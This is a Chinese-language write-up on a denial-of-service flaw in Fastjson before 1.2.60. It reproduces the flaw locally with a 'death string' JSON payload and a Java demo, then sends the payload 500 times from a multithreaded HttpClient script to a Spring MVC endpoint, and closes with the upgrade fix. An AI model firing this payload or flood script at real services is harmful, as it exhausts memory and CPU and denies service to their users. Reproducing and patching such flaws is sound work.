fastjson低于1.2.60的远程拒绝服务漏洞

Fastjson 叒叕被爆出严重漏洞了

• • • 漏洞描述
    • 重现漏洞
      • 1、简单Demo
      • 2、应用中重现
    • 解决漏洞

 

漏洞描述

首先，看一下阿里官方回应，传送门

重现漏洞

看看Github上1.2.60版本修复漏洞后的测试用例，即可发现造成这一漏洞的死亡字符串 {“a”:"\x
下面我们在demo和真实环境中，重现“死亡字符串”的导致的bug：

1、简单Demo

public static void main(String[] args) {
        try {
            String DEATH_STRING = "{\"a\":\"\\x";
            Object obj = JSON.parse(DEATH_STRING);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

引发的异常：大小GC+OOM异常

2、应用中重现

我们的应用使用了SpringMvc框架，然后mvc:message-converters中MessageConverter设置为了使用FastJson 的com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter，对字符串进行JSON的序列化和反序列化，所以可以直接通过POST请求模拟出此漏洞。

1. 使用HttpClient，开启多线程，对一个接口调用500次

2. private static void testMutiThread() {
           ExecutorService threadPool = Executors.newFixedThreadPool(8);
           String url = "http://localhost:8080/pool/getBaseLogById";
           String DEATH_STRING = "{\"id\":\"10143\\x";
   
           for (int i = 0; i < 500; i++) {
               threadPool.submit(() -> {
                   String result = HttpClientUtil.doPost(url, DEATH_STRING, HttpClientUtil.CONTENT_TYPE_JSON);
                   System.out.println("响应报文为：" + result);
               });
           }
       }

3. 使用Java VisualVM工具观察内存使用情况和GC情况
   3. 使用jstat命令观察GC情况
   在500次调用还未完成之前，full gc的次数就已经来到了460次左右。
   
   假如发生在线上，攻击者持续的攻击，那么内存的飙升、疯狂的Full GC、cpu的耗尽，最终会导致你的应用无法在正常提供服务。

解决漏洞

将应用中的FastJson升级到1.2.60后，“死亡字符串”由于不符合标准json格式，便会在转换中直接抛出异常。
FastJson-1.2.60中修复的具体内容：传送门

升级至1.2.60后，再继续对应用进行“使用HttpClient，开启多线程，对一个接口调用500次”，内存和GC情况如下：
其中3次Full GC和7次Young GC是在压测之前就存在的，相当于压测只产生了1次Young GC，属正常反应。